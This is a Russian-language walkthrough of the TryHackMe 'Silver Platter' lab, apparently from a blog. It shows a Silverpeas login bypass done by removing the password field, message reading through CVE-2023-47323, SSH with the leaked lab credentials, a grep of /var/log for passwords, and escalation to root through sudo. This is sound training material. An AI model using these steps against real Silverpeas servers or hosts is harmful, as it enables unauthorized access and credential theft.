Пост

TryHackMe - Silver Platter

Довольно весёлая комната, в которой мы эксплуатируем уязвимость входа в приложение Silverpeas

TryHackMe - Silver Platter

Введение

Довольно весёлая комната, в которой мы эксплуатируем уязвимость входа в приложение Silverpeas, а затем используем ещё одну CVE, чтобы получить флаги пользователя и root.

Tryhackme Room Link

Думаешь, у тебя есть всё необходимое, чтобы перехитрить команду Hack Smarter Security? Они утверждают, что их невозможно взломать — и теперь у тебя есть шанс доказать обратное. Погрузись в их веб‑сервер, найди скрытые флаги и покажи миру свои элитные навыки хакинга. Удачи, и пусть победит сильнейший!

Но будь осторожен — это не прогулка по цифровому парку. Hack Smarter Security укрепили сервер против стандартных атак, а их политика паролей требует использовать пароли, которые не были скомпрометированы (они проверяют их по словарю rockyou.txt — вот такие они «крутые»). Испытание брошено, и пришло время повысить уровень своей игры. Помни: наверх поднимаются только самые изобретательные.

Пусть твой код будет быстрым, эксплойты — безупречными, а победа — твоей!

Nmap

Начнём со сканирования nmap:

1
2
3
4
5
6
7
8
9
10
11
nmap -T4 -n -sC -sV -Pn -p- 10.10.200.35
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1b:1c:87:8a:fe:34:16:c9:f7:82:37:2b:10:8f:8b:f1 (ECDSA)
|_  256 26:6d:17:ed:83:9e:4f:2d:f6:cd:53:17:c8:80:3d:09 (ED25519)
80/tcp   open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hack Smarter Security
8080/tcp open  http-proxy
|_http-title: Error

Из результатов nmap видно доступные порты: 22/tcp
80/tcp
8080/tcp

Разведка

Проверяя страницу контактов, можно заметить возможное имя пользователя и приложение Silverpeas:

Contact

Быстрый поиск в Google даёт нам важную информацию.

По умолчанию Silverpeas использует страницу входа по адресу http://localhost:8080/silverpeas, поэтому попробуем её.

Нас сразу перенаправляет на страницу входа: Login Page

После быстрого поиска в Google мы находим возможную уязвимость, связанную со страницей входа:

Vulnerability

Подробная информация об уязвимости доступна здесь:
https://gist.github.com/ChrisPritchard/4b6d5c70d9329ef116266a6c238dcb2d

Также, после поиска стандартного имени пользователя Silverpeas, выясняется, что это SilverAdmin.

Default User

Перехват HTTP‑запроса через BurpSuite

Попробуем сформировать POST‑запрос через BurpSuite.

Оригинальный запрос:

Burp Original

Изменённый запрос после удаления поля Password:

Burp Modified

Мы вошли в систему как администратор.

Logged In

После ещё одного поиска уязвимостей Silverpeas мы находим: https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2023-47323

По сути, мы можем читать любые сообщения по адресу:
http://localhost:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=[messageID]

После нескольких попыток мы находим сообщение с ID 6:

User SSH

SSH‑доступ

Теперь мы можем использовать эти учётные данные для входа по SSH как пользователь tim:

1
2
username: tim
password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol

SSH Login

И получаем пользовательский флаг:

User Flag

Проверив группы, мы видим, что tim состоит в группе adm:

1
2
tim@silver-platter:~$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)

После выполнения следующей команды мы находим логи с паролем базы данных:

1
tim@silver-platter:~$ grep -Ri 'password' /var/log 2>/dev/null
1
COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/

Пробуем комбинацию пользователя и пароля БД:

1
2
3
tim@silver-platter:~$ su tyler
Password:
tyler@silver-platter:/home/tim$

Теперь, проверив группы, видно, что у нас гораздо больше привилегий:

1
2
tyler@silver-platter:/home/tim$ id
uid=1000(tyler) gid=1000(tyler) groups=1000(tyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)

На самом деле, у нас уже есть доступ sudo:

1
2
3
tyler@silver-platter:/home/tim$ sudo -l
User tyler may run the following commands on silver-platter:
    (ALL : ALL) ALL

Теперь мы можем просто переключиться на root:

1
2
tyler@silver-platter:/home/tim$ sudo su root
root@silver-platter:/home/tim#

Root Flag

И забираем root‑флаг:

Root Flag


Авторский пост защищен лицензией CC BY 4.0 .